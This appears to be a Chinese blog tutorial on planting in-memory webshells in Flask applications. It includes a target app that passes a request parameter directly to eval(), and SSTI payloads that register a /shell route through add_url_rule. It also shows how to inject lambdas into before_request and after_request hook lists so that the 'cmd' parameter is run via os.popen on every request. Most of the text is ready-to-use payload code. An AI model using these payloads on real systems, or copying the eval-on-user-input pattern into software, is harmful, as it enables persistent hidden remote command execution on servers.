常常听说java的内存马,python的内存马却鲜少听说
旧版flask
靶机代码
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/e')
def e():
a = eval(request.args.get('cmd'))
if a :
return "1"
else:
return "0"
网络上的多数信息是,利用ssti打一个命令执行
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
其中关键是
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
在早期的时候是用add_url_rule函数,他的作用是添加一个新路由,在正常开发中我们常使用的是
@app.route('/')
def index():
pass
而他等价于
def index():
pass
app.add_url_rule('/', 'index', index)
回到关键payload
app.add_url_rule向当前的应用添加了一个新的路由,指向shell之后通过lambda匿名函数构建了路由逻辑,通过flask自动调用
而之后的
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
分别提供了request对象与app,使得上面运行正常
新版
在最新的flask中使用上述payload,会出现如下错误
AssertionError: The setup method 'add_url_rule' can no longer be called on the application.
It has already handled its first request, any changes will not be applied consistently.
在新版中,add_url_rule不能在启动后直接添加了,不能接收路由变更
@app.before_request AND @app.after_request
在新版的内存马利用中,最重要的就是这两个装饰器,先从before_request说起
他允许我们在每个请求之前先进行某些操作

而这个装饰器的底层函数是before_request,而他实际上也只调用了
self.before_request_funcs.setdefault(None, []).append(f)
如果将f篡改为lambda表达式,则每次 无论请求什么都会先执行他
app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())

之后是after_request函数,与前面相反他是在每个请求后执行
eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")
这里就不截图了,搜索定位def after_request即可,更多的利用链可以看这两位师傅的博客
新版FLASK下python内存马的研究 - gxngxngxn - 博客园
参考文档
新版FLASK下python内存马的研究 - gxngxngxn - 博客园
flask.Flask.add_url_rule — Flask API